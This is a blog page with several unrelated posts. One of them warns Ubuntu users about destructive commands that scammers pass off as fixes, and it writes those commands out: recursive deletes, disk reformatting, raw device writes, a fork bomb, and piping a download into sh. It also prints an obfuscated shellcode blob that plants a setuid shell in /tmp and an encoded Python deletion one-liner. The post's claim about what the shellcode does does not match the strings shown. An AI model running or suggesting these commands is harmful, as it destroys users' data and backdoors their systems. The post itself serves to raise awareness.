Daily Cup of Tech

I started researching a 24 in 24 for content management systems and there are so many out there I had to modify the 24 in 24 format to accommodate them all!

Anyway, get ready because there are 72 content management systems headed your way!

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There are a number of unscrupulous people out there that are trying to, for whatever reason, get you to cause serious damage to your Ubuntu system.  They do this under the guise of helping you and they get you to type in these commands to “fix” your system.

I believe that knowledge is power. And I understand that this post couple be used to teach people how to do this exact thing.  But I also believe that making people aware of these dangers is the best way to inoculate them.

Delete All Files in Directory and Directory Above

rm -rf /
rm -rf .
rm -rf *
rm -r .[^.]*

Reformat Devices

Anything mentioned after the command will be reformatted blank.

mkfs
mkfs.ext3
mkfs.anything

Block Device Manipulation

Writes raw data to the device and often destroys it.

any_command > /dev/sda
dd if=something of=/dev/sda

Fork Bombs

Runs a massive amount of processes until the system locks up.

Bash:
:(){:|:&};:

Perl:
fork while fork

Tar Bomb

File extract into a massive number of folders and files, potentially injecting files into the operating system.  This can make your system useless.

Decompression Bomb

You are asked to download a relatively small file which contains highly compressed data.  Wheb extracted, it could take up gigs of data that may even fill up your entire hard drive and bring you system to a grinding halt.

Malicious Shell Scripts

You are asked to download and run a shell script that can contain any number of deadly commands.

wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh

Compiling Code

You are given or type in the source code which you then compile on your system and reek havoc on your system.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This actually runs rm -rt ~ / & which destroys all the home directories!

Something similar in Python:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Conclusion

So, if you are getting some help with your Ubuntu system, make sure you trust the person you are getting help from!

[Ubuntu Forums]

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I am always looking for new ways to kill spam. This is a unique solution that creates an endless loop of fake e-mail addresses that the spambot gets trapped in!

Here is what their website writes:

Email harvesting bots, otherwise known as data miners, follow links, grabbing email addresses out of each page it visits. When one of these bots comes to your site, all sites you’ve linked get crawled for email addresses.

This site renders these harvester’s lists useless by filling them with invalid e-mail addresses. Once a spammer hits this site, they enter an infinite loop of randomly created email addresses (starting with the ones it generates when it first comes to the site) Once a mailing list has been poisoned with a number of invalid e-mail addresses, the resources required to send a message to this list increases, even though the number of valid recipients has not. This forces the spammer to exhaust more resources to send e-mail, in theory costing the spammer money and time. A best-case scenario would cause the spammer to throw out the mailing lists completely.

If you link to this page, whenever a harvester visits your site, it gets filled up with superfluous email addresses. These email addresses change every time this page is visited.

If you want to add this same feature to your blog or website, simple copy and paste this code onto your site:

[This link kills spam]

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It is always a good idea to leave a note if you scratch or dent someone’s car:

It’s an even better idea to park in only one parking spot!

[Flickr

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According to the Edmonton Sun, famed theoretical physicist Stephen Hawking has been taken to the hospital and is quite ill.

Hawking has been credited with bringing theoretical physics to the masses.  His books A Brief History of Time (a personal favorite) and The Universe in a Nutshell, allowed the average reader significant insight into a world which, previously, had only been available to the academic elite.  One of his passions is to reach the regular person with his work and he has made several different appearances on popular television shows to help promote it.  Here are a couple of examples:

All of our best goes out to you, Stephen.

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